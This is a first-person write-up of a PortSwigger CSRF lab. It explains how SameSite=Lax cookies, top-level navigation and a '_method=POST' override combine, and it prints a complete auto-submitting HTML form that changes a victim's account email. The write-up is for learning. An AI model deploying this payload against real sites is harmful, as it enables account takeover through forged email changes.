today i was solving another CSRF lab from PortSwigger.net. it's not that hard but i learned something new here.

so i started the lab. same as always — logged in using the given credentials, captured the request that changes the email.

and then i found something interesting.

there is no CSRF token.

None

which means it's vulnerable. that's for sure. but the question is… how?

for the first 15 minutes i was just staring at the request header thinking "how can i exploit this?" nothing came to my mind.

None

then i went to see the hint. then the solution. still confused.

but i found three words that i was completely not aware of:

  • SameSite
  • top-level navigation
  • method spoofing

so i did some research.

What I Learned

SameSite is a browser-enforced cookie attribute that controls when cookies are sent with cross-site requests. this attribute can be set to one of three values:

ValueBehaviorStrictCookie never sent cross-siteLaxCookie sent only on GET + top-level navigationNoneCookie always sent (requires Secure flag)

by default, it is set to Lax.

the rule for Lax is: cookie is only sent when BOTH conditions are met:

  1. HTTP method is GET (or HEAD/OPTIONS/TRACE)
  2. Request comes from top-level navigation

okay… now what is top-level navigation?

basically, top-level navigation changes the URL in your address bar. resources loaded by iframe, img tags, and script tags do NOT change the URL in the address bar. so none of them cause top-level navigation.

examples:

Causes Top-Level NavigationDoes NOT Cause Top-Level Navigationclicking a normal link<img src="...">form submission<iframe src="...">typing URL in address barfetch() or AJAXwindow.location.href<script src="...">

okay. i understood the concept.

None

The Problem

i have to use a GET request because SameSite=Lax allows cookie on GET + top-level navigation.

but GET requests cannot change information. they can only read.

if i use POST, SameSite=Lax will NOT allow the cookie.

so how do i change the email with a GET request?

The Solution: Method Override + GET

first, i will use GET instead of POST because SameSite=Lax allows cookie on GET + top-level navigation.

<form method="GET" action="victim.com/change-email">

next, i will add _method=POST parameter. the server reads this parameter and processes the GET request as a POST.

<input type="hidden" name="_method" value="POST">

then add the email parameter:

<input type="hidden" name="email" value="pwned@attacker.net">

and finally, auto-submit the form:

<script>document.forms[0].submit()</script>

The Final Payload

<!DOCTYPE html>
<html lang="en">
<body>
    <h1>Form CSRF PoC</h1>
    <form action="https://0a36001a04dd8a9082c10bee00ad00dc.web-security-academy.net/my-account/change-email" method="GET">
        <input type="hidden" name="_method" value="POST">
        <input type="hidden" name="email" value="pavan123@normal-user.net">
        <input type="submit" value="Submit Request">
    </form>
    <script>document.forms[0].submit()</script>
</body>
</html>

i delivered it to the victim.

None

lab solved.

None

What Actually Happens (The Flow)

1. victim opens my page
2. browser sees form with method="GET"
   browser thinks: "this is a GET request with top-level navigation"
3. browser checks cookie: SameSite=Lax says:
   "GET + top-level navigation = okay, i will send the cookie"
4. request goes to server:
   GET /change-email?_method=POST&email=hacked
   (with victim's session cookie attached)
5. server sees _method=POST
   server thinks: "they want POST even though it says GET"
6. server processes as POST and changes the email
7. lab solved.

What I Learned Today

ConceptWhat It MeansSameSite=LaxBlocks POST, allows GET + top-level navigationTop-level navigationChanges URL in address barMethod override_method=POST tells server to treat GET as POSTThe bypassUse GET (allowed by Lax) + override (server thinks it's POST)

neither one works alone. together they work.

Closing

this lab took me less time than the previous ones. not because it was easier. but because i am starting to recognize patterns.

SameSite=Lax is supposed to protect against CSRF. but it has an exception for GET requests. and method override exploits that exception.

one lab at a time.

see you tomorrow.

ps — if you see SameSite=Lax on a cookie, don't assume you're safe. test for method override.